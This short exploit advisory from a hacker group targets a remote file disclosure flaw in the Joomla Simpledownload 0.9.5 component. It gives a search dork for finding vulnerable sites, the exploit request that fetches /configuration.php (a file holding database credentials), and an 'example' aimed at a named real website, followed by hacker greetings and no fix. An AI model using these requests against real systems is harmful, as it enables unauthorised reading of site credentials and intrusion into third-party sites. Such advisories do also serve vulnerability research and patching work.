Joomla Simpledownload component version 0.9.5 suffers from a file disclosure vulnerability.
7c529d5c8232b9deb6bb87c940323a1dec231edb9b4455d45d3dfdac68560231
[!]==========================================[!]
[~] Joomla Component simpledownload Remote File Disclouse
[~] Author : altbta (l_9@hotmail.com)
[~] Homepage : [ v4-team.com ] & [ xp10.me ]
[~] Date : 16 Mei, 2010
[!]==========================================[!]
[ Software Information ]
[+] Vendor : http://joomla.joelrowley.com/
[+] Price : free
[+] Vulnerability : Remote File Disclouse
[+] Dork : inurl:"com_simpledownload" ;)
[+] Version : 0.9.5 maybe lower also affected
[!]==========================================[!]
===[ Exploit ]===
http://site/index.php?option=com_simpledownload&task=download&fileid=[file]
http://site/index.php?option=com_simpledownload&task=download&fileid=/configuration.php
===[ Example ]===
http://www.triplesix-rockhouse.com/index.php?option=com_simpledownload&task=download&fileid=/configuration.php
[!]=========~~{ altbta }~~=========[!]
RoMaNcYxHaCkEr & sad hacker & ab0-3th4b & Mr.SaFa7 & Mn7oS & V ! V 3
Evil-Cod3r & asL-Sabia & ! Dr.www ! & MaKKaWi & ZaIdOoHxHaCkEr & al.bito
SnIpEr.SiTeS & ابو الجازي & اورنج مان